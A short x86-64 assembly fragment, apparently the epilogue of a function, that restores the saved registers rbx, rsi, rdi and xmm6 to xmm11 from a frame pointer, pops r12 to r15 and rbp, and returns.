mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret